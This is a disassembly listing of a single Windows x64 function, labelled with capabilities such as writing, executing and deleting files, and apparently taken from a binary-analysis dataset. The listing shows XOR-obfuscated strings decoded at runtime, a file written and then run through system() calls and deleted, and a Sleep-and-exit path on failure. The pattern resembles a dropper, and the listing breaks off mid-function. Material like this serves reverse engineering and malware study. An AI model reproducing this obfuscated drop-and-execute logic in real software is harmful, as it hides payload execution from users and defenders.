Function at 0x140001940
Capabilities:
Delete file
Execute command
Set console window title
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x2b0
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140030010]
xor rax, rsp
mov qword [rbp + 0x240], rax
movabs r15, 0xddd476f329009215
mov qword [rbp + 0x160], r15
movabs r12, 0xd5aee1cec93f7be6
mov qword [rbp + 0x168], r12
movabs r13, 0x14dbe01b0b0d4b7
mov qword [rbp + 0x170], r13
movabs r14, 0x4937bb0c6ab12c78
mov qword [rbp + 0x178], r14
movabs rax, 0x23f09daf4a33c1d9
mov qword [rbp + 0x180], rax
movabs rax, 0x7408165afc8b0e8a
mov qword [rbp + 0x188], rax
movabs rax, 0x8330643ddcb7f09b
mov qword [rbp + 0x190], rax
movabs rcx, 0xa90468b83609755c
mov qword [rbp + 0x198], rcx
movabs rsi, 0xbaba1f874865fa56
mov qword [rbp + 0xe0], rsi
movabs rax, 0xbadeb2eea7562cc8
mov qword [rbp + 0xe8], rax
movabs rax, 0x603ffd21c2d5b2d8
mov qword [rbp + 0xf0], rax
movabs rax, 0x3c759b752891471b
mov qword [rbp + 0xf8], rax
movabs rdi, 0x4a84fcdd2b5aa2ba
mov qword [rbp + 0x100], rdi
movabs rbx, 0x5423366dcfb83fa9
mov qword [rbp + 0x108], rbx
movabs rax, 0x83306465bdc595c1
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rcx
movups xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp], xmm0
movups xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0x30], xmm1
vmovdqu ymm0, ymmword [rbp]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp], ymm1
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x20], ymm1
lea rcx, [rbp]
vzeroupper
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], r14
movabs rax, 0x23f09daf4a33c1d9
mov qword [rbp + 0x180], rax
movabs rax, 0x7408165afc8b0e8a
mov qword [rbp + 0x188], rax
movabs rcx, 0xb2b0189a7e5ca856
mov qword [rbp + 0xe0], rcx
movabs rcx, 0xa1cf84a68a630891
mov qword [rbp + 0xe8], rcx
movabs rcx, 0x2c23d7769ed7bade
mov qword [rbp + 0xf0], rcx
movabs rcx, 0x265b9b6d1ec24d08
mov qword [rbp + 0xf8], rcx
movabs rcx, 0x23f09daf4a33adb5
mov qword [rbp + 0x100], rcx
mov qword [rbp + 0x108], rax
movups xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp], xmm0
movups xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x10], xmm1
movups xmm2, xmmword [rbp + 0x100]
vmovdqu ymm0, ymmword [rbp]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp], ymm1
vxorps xmm2, xmm2, xmmword [rbp + 0x180]
vmovdqa xmmword [rbp + 0x20], xmm2
lea rcx, [rbp]
vzeroupper
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [rbp + 0x50], 0
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], r12
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r14
movabs rax, 0x23f09daf4a33c1d9
mov qword [rbp + 0x100], rax
movabs rax, 0x7408165afc8b0e8a
mov qword [rbp + 0x108], rax
movabs rax, 0x8330643ddcb7f09b
mov qword [rbp + 0x110], rax
movabs rax, 0xa90468b83609755c
mov qword [rbp + 0x118], rax
movabs rax, 0x655dbd4b60a14abd
mov qword [rbp + 0x120], rax
movabs rax, 0xaf68efe642692dae
mov qword [rbp + 0x128], rax
movabs rax, 0x129da9396f67317f
mov qword [rbp + 0x130], rax
movabs rax, 0xea115d24b6cbb220
mov qword [rbp + 0x138], rax
movabs rax, 0x139f43275e0d7821
mov qword [rbp + 0x140], rax
movabs rax, 0x2c3e757238545ad2
mov qword [rbp + 0x148], rax
movabs rax, 0x88782935731bb0c3
mov qword [rbp + 0x150], rax
movabs rax, 0x771f69b03c6f3844
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x1c0], rsi
movabs rax, 0xa6cfb1eea7560cc8
mov qword [rbp + 0x1c8], rax
movabs rax, 0x6a2edf73f390b1c3
mov qword [rbp + 0x1d0], rax
movabs rax, 0x3c759b752891481d
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0x1e0], rdi
mov qword [rbp + 0x1e8], rbx
movabs rax, 0xc73a4565bdc595c1
mov qword [rbp + 0x1f0], rax
movabs rax, 0xdc6648cc59675533
mov qword [rbp + 0x1f8], rax
movabs rax, 0x42d9d3809c96ac4
mov qword [rbp + 0x200], rax
movabs rax, 0xdc0d87c66e0c59dd
mov qword [rbp + 0x208], rax
movabs rax, 0x32f1c54c0947505f
mov qword [rbp + 0x210], rax
movabs rax, 0x98702941c4ebdc4f
mov qword [rbp + 0x218], rax
movabs rax, 0x64bf274e357e5845
mov qword [rbp + 0x220], rax
movabs rax, 0xc4d101b547435ba
mov qword [rbp + 0x228], rax
movabs rax, 0xfc585d5c1b6890a2
mov qword [rbp + 0x230], rax
movabs rax, 0x771f69b03c4e562b
mov qword [rbp + 0x238], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x1e0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x200]
vpxor ymm1, ymm0, ymmword [rbp + 0x120]
vmovdqa ymmword [rbp + 0x200], ymm1
vmovdqu ymm0, ymmword [rbp + 0x220]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
vmovdqa ymmword [rbp + 0x220], ymm1
lea rdx, [rbp + 0x1c0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.140003110
lea rdx, [0x1400032e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], r14
movabs rax, 0xb3bd02924c72d11f
mov qword [rbp], rax
movabs rax, 0x938e84a2a0795b81
mov qword [rbp + 8], rax
movabs rax, 0x6439cd60e090a6d8
mov qword [rbp + 0x10], rax
movabs rax, 0x4937bb2d06de4058
mov qword [rbp + 0x18], rax
movups xmm0, xmmword [rbp]
movaps xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xf0], xmm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0xe0], ymm1
lea rdx, [rbp + 0xe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.140003110
lea rdx, [0x1400032e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], r14
movabs rdi, 0x23f09daf4a33c1d9
mov qword [rbp + 0x180], rdi
movabs rbx, 0x7408165afc8b0e8a
mov qword [rbp + 0x188], rbx
movabs rax, 0xb2b0189a7e5ca856
mov qword [rbp + 0xe0], rax
movabs rax, 0xa1cf84a68a630891
mov qword [rbp + 0xe8], rax
movabs rax, 0x2c23d7769ed7bade
mov qword [rbp + 0xf0], rax
movabs rax, 0x265b9b6d1ec24d08
mov qword [rbp + 0xf8], rax
movabs rax, 0x23f09daf4a33adb5
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rbx
movups xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x1d0], xmm1
movups xmm2, xmmword [rbp + 0x100]
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vxorps xmm2, xmm2, xmmword [rbp + 0x180]
vmovdqa xmmword [rbp + 0x1e0], xmm2
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [rbp + 0x1c0]
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x48], rax
movabs rcx, 0xaf68efe642692dae
cmp rax, 0xffffffffffffffff
movabs rax, 0x8330643ddcb7f09b
jne 0x140002188
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1c8], r12
mov qword [rbp + 0x1d0], r13
mov qword [rbp + 0x1d8], r14
mov qword [rbp + 0x1e0], rdi
mov qword [rbp + 0x1e8], rbx
mov qword [rbp + 0x1f0], rax
movabs rax, 0xa90468b83609755c
mov qword [rbp + 0x1f8], rax
movabs rax, 0x655dbd4b60a14abd
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], rcx
movabs rax, 0xfdb0139f4061d41f
mov qword [rbp + 0x80], rax
movabs rax, 0xf5cb8aaf841f14b2
mov qword [rbp + 0x88], rax
movabs rax, 0x2123f721d5dcbdf1
mov qword [rbp + 0x90], rax
movabs rax, 0x2653d5653ded163b
mov qword [rbp + 0x98], rax
movabs rax, 0x60d0efc00c13b2ae
mov qword [rbp + 0xa0], rax
movabs rax, 0x5a6f783388ea6be2
mov qword [rbp + 0xa8], rax
movabs rax, 0xf051341db9c49ff7
mov qword [rbp + 0xb0], rax
movabs rax, 0xcc7201ca72291028
mov qword [rbp + 0xb8], rax
movabs rax, 0x655dbd4b60a16bcf
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rcx
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0xa0]
vmovdqa ymmword [rbp + 0xa0], ymm1
vmovdqa xmm2, xmmword [rbp + 0xc0]
vxorps xmm2, xmm2, xmmword [rbp + 0x200]
vmovdqa xmmword [rbp + 0xc0], xmm2
lea rdx, [rbp + 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.140003110
lea rdx, [0x1400032e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], r14
mov qword [rbp + 0x180], rdi
mov qword [rbp + 0x188], rbx
mov qword [rbp + 0x190], rax
movabs rax, 0xa90468b83609755c
mov qword [rbp + 0x198], rax
movabs rax, 0x655dbd4b60a14abd
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1a8], rcx
movabs rax, 0x129da9396f67317f
mov qword [rbp + 0x1b0], rax
movabs rax, 0xea115d24b6cbb220
mov qword [rbp + 0x1b8], rax
movabs rax, 0xfdb013874865e056
mov qword [rbp + 0xe0], rax
movabs rax, 0xb6dbb2eeac5312a0
mov qword [rbp + 0xe8], rax
movabs rax, 0x6d21cb67c3c3b1d4
mov qword [rbp + 0xf0], rax
movabs rax, 0x3b52d5692dbb0d01
mov qword [rbp + 0xf8], rax
movabs rax, 0x3b1bdc8245ab5b8
mov qword [rbp + 0x100], rax
movabs rax, 0x27287b3598e56fd8
mov qword [rbp + 0x108], rax
movabs rax, 0xd43a4551bdde82fe
mov qword [rbp + 0x110], rax
movabs rax, 0xfb240fd65f7d1c2e
mov qword [rbp + 0x118], rax
movabs rax, 0xe9d260fc524dc
mov qword [rbp + 0x120], rax
movabs rax, 0xdd07a9c62e0844dc
mov qword [rbp + 0x128], rax
movabs rax, 0x40bdcc4d1c06615f
mov qword [rbp + 0x130], rax
movabs rax, 0xea115d249787f46f
mov qword [rbp + 0x138], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqu ymm0, ymmword [rbp + 0x120]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0x120], ymm1
lea rdx, [rbp + 0xe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.140003110
lea rdx, [0x1400032e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x80]
call fcn.140001200
nop
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], r12
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r14
movabs rax, 0xf3b3189a5d73f365
mov qword [rbp], rax
movabs rax, 0xb7c593ad96511291
mov qword [rbp + 8], rax
movabs rax, 0x112c660c2d5aece
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], r14
movups xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x160], xmm0
movups xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x170], xmm1
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0x160], ymm1
lea rax, [rbp + 0x160]
mov rbx, 0xffffffffffffffff
vzeroupper
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400023d4
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r13, qword [rbp + 0x90]
sub rax, r13
cmp rax, rbx
jb 0x140002ffb
lea rax, [rbp + 0x80]
mov rsi, qword [rbp + 0x80]
mov r15, qword [rbp + 0x98]
cmp r15, 0x10
cmovae rax, rsi
mov qword [rbp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x68], xmm1
lea r12, [rbx + r13]
mov edi, 0xf
lea r14, [rbp + 0x58]
cmp r12, rdi
jbe 0x1400024b9
mov rdi, r12
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000247b
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140020e20
test rax, rax
je 0x140002fa0
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400024b5
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400024a3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003001
jmp 0x14000245c
test rcx, rcx
je 0x1400024b2
call fcn.140020e20
mov r14, rax
jmp 0x1400024b5
xor r14d, r14d
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x68], r12
mov qword [rbp + 0x70], rdi
mov r8, rbx
lea rdx, [rbp + 0x160]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [r14 + rbx]
mov r8, r13
mov rdx, qword [rbp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r12], 0
lea rax, [rbp + 0x58]
mov rcx, qword [rbp + 0x58]
mov r9, qword [rbp + 0x70]
cmp r9, 0x10
cmovae rax, rcx
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140002503
lea rdx, [rbp + 0x58]
cmp r9, 0x10
cmovae rdx, rcx
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x50]
mov rbx, qword [rbp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14000270a
movabs r14, 0xddd476f329009215
mov qword [rbp + 0x1c0], r14
movabs r12, 0xd5aee1cec93f7be6
mov qword [rbp + 0x1c8], r12
movabs r13, 0x14dbe01b0b0d4b7
mov qword [rbp + 0x1d0], r13
movabs rdi, 0x4937bb0c6ab12c78
mov qword [rbp + 0x1d8], rdi
movabs rax, 0x23f09daf4a33c1d9
mov qword [rbp + 0x1e0], rax
movabs rax, 0x7408165afc8b0e8a
mov qword [rbp + 0x1e8], rax
movabs rax, 0x8330643ddcb7f09b
mov qword [rbp + 0x1f0], rax
movabs rax, 0xa90468b83609755c
mov qword [rbp + 0x1f8], rax
movabs rax, 0x655dbd4b60a14abd
mov qword [rbp + 0x200], rax
movabs rcx, 0xaf68efe642692dae
mov qword [rbp + 0x208], rcx
movabs rax, 0xfdb0139f4061d41f
mov qword [rbp + 0xe0], rax
movabs rax, 0xb0da88bc9e1f14b2
mov qword [rbp + 0xe8], rax
movabs rax, 0x6f049e64dcd99297
mov qword [rbp + 0xf0], rax
movabs rax, 0x1b5ade7819c87f58
mov qword [rbp + 0xf8], rax
movabs rax, 0x382f2e96a47aeb6
mov qword [rbp + 0x100], rax
movabs rax, 0x13667f2e9dee66c9
mov qword [rbp + 0x108], rax
movabs rax, 0xe2604458afd89cb5
mov qword [rbp + 0x110], rax
movabs rax, 0xdf6d1afc166c012f
mov qword [rbp + 0x118], rax
movabs rax, 0x655dbd4b608038d8
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rcx
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqa xmm2, xmmword [rbp + 0x120]
vxorps xmm2, xmm2, xmmword [rbp + 0x200]
vmovdqa xmmword [rbp + 0x120], xmm2
lea rdx, [rbp + 0xe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.140003110
lea rdx, [0x1400032e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs r14, 0xddd476f329009215
mov qword [rbp + 0x160], r14
movabs r12, 0xd5aee1cec93f7be6
mov qword [rbp + 0x168], r12
movabs r13, 0x14dbe01b0b0d4b7
mov qword [rbp + 0x170], r13
movabs rdi, 0x4937bb0c6ab12c78
mov qword [rbp + 0x178], rdi
movabs rax, 0x23f09daf4a33c1d9
mov qword [rbp + 0x180], rax
movabs rax, 0x7408165afc8b0e8a
mov qword [rbp + 0x188], rax
movabs rax, 0x8330643ddcb7f09b
mov qword [rbp + 0x190], rax
movabs rax, 0xa90468b83609755c
mov qword [rbp + 0x198], rax
movabs rax, 0xbba705964a63e746
mov qword [rbp + 0xe0], rax
movabs rax, 0xbcdcb6eeb0531793
mov qword [rbp + 0xe8], rax
movabs rax, 0x6421d74790deb1c3
mov qword [rbp + 0xf0], rax
movabs rax, 0x2e59d2680bde6072
mov qword [rbp + 0xf8], rax
movabs rax, 0x4d99e9ce2f5b82f9
mov qword [rbp + 0x100], rax
movabs rax, 0x2428732993e720ed
mov qword [rbp + 0x108], rax
movabs rax, 0xea42201db9c383fa
mov qword [rbp + 0x110], rax
movabs rax, 0xa90468b2177b102a
mov qword [rbp + 0x118], rax
movups xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp], xmm0
movups xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0x30], xmm1
vmovdqu ymm0, ymmword [rbp]
vpxor ymm1, ymm0, ymmword [rbp + 0x160]
vmovdqa ymmword [rbp], ymm1
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x180]
vmovdqa ymmword [rbp + 0x20], ymm1
lea rdx, [rbp]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.140003110
lea rdx, [0x1400032e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140003620
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140002e62
mov rcx, rax
call fcn.140004e50
mov rcx, rbx
test rax, rax
jne 0x14000297e
call fcn.1400039f0
nop
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x140002901
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002fa0
call fcn.1400210ac
movdqa xmm0, xmmword [0x14002c570]
movdqu xmmword [rbp + 0x68], xmm0
mov byte [rbp + 0x58], 0
cmp r15, 0x10
jb 0x140002949
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140002941
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ff4
mov rcx, rsi
call fcn.1400210ac
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.140020e00
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400039f0
nop
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], r12
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], rdi
movabs rax, 0xfdb01397486fde1f
mov qword [rbp + 0x160], rax
movabs rax, 0x868e93abbf5609a2
mov qword [rbp + 0x168], rax
movabs rax, 0x742bcd72d5d3b7c2
mov qword [rbp + 0x170], rax
movabs rax, 0x4937bb064bc84014
mov qword [rbp + 0x178], rax
movups xmm0, xmmword [rbp + 0x160]
movaps xmmword [rbp], xmm0
movups xmm1, xmmword [rbp + 0x170]
movaps xmmword [rbp + 0x10], xmm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp]
vmovdqa ymmword [rbp], ymm1
lea rdx, [rbp]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.140003110
lea rdx, [0x1400032e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], r12
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], rdi
movabs rax, 0xadbb02800974f77b
mov qword [rbp + 0x160], rax
movabs rax, 0xa1c386a3a7560cc6
mov qword [rbp + 0x168], rax
movabs rax, 0x14dbe01b0c9fb97
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], rdi
movups xmm0, xmmword [rbp + 0x160]
movaps xmmword [rbp], xmm0
movups xmm1, xmmword [rbp + 0x170]
movaps xmmword [rbp + 0x10], xmm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp]
vmovdqa ymmword [rbp], ymm1
lea rcx, [rbp]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp + 0xe0], r14
mov qword [rbp + 0xe8], r12
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], rdi
movabs rax, 0xafb502800974f77b
mov qword [rbp + 0x160], rax
movabs rax, 0xb8c98ca0a0485b92
mov qword [rbp + 0x168], rax
movabs rax, 0x14dbe01b0b0d4c3
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], rdi
movups xmm0, xmmword [rbp + 0x160]
movaps xmmword [rbp], xmm0
movups xmm1, xmmword [rbp + 0x170]
movaps xmmword [rbp + 0x10], xmm1
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp]
vmovdqa ymmword [rbp], ymm1
lea rcx, [rbp]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp + 0x160], r14
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], rdi
movabs rsi, 0x23f09daf4a33c1d9
mov qword [rbp + 0x180], rsi
movabs rbx, 0x7408165afc8b0e8a
mov qword [rbp + 0x188], rbx
movabs r15, 0xb2b0189a7e5ca856
mov qword [rbp + 0xe0], r15
movabs rax, 0xa1cf84a68a630891
mov qword [rbp + 0xe8], rax
movabs rax, 0x2c23d7769ed7bade
mov qword [rbp + 0xf0], rax
movabs rax, 0x265b9b6d1ec24d08
mov qword [rbp + 0xf8], rax
movabs rax, 0x23f09daf4a33adb5
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rbx
movups xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0x1c0], xmm0
movups xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x1d0], xmm1
movups xmm2, xmmword [rbp + 0x100]
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x1c0]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vxorps xmm2, xmm2, xmmword [rbp + 0x180]
vmovdqa xmmword [rbp + 0x1e0], xmm2
lea rcx, [rbp + 0x1c0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov qword [rbp + 0x160], r14
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], rdi
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], rbx
movabs rax, 0x8330643ddcb7f09b
mov qword [rbp + 0x190], rax
movabs rcx, 0xa90468b83609755c
mov qword [rbp + 0x198], rcx
movabs rax, 0xb8b2199c5953981f
mov qword [rbp + 0xe0], rax
movabs rax, 0x858e89baa0685b82
mov qword [rbp + 0xe8], rax
movabs rax, 0x691e9e65d5c4a7d6
mov qword [rbp + 0xf0], rax
movabs rax, 0x3d5ec3494a905811
mov qword [rbp + 0xf8], rax
movabs rax, 0x16d0f3e66a54afb0
mov qword [rbp + 0x100], rax
movabs rax, 0x76c78359fee5daa
mov qword [rbp + 0x108], rax
movabs rax, 0x8330643ddcb7f0ba
mov qword [rbp + 0x110], rax
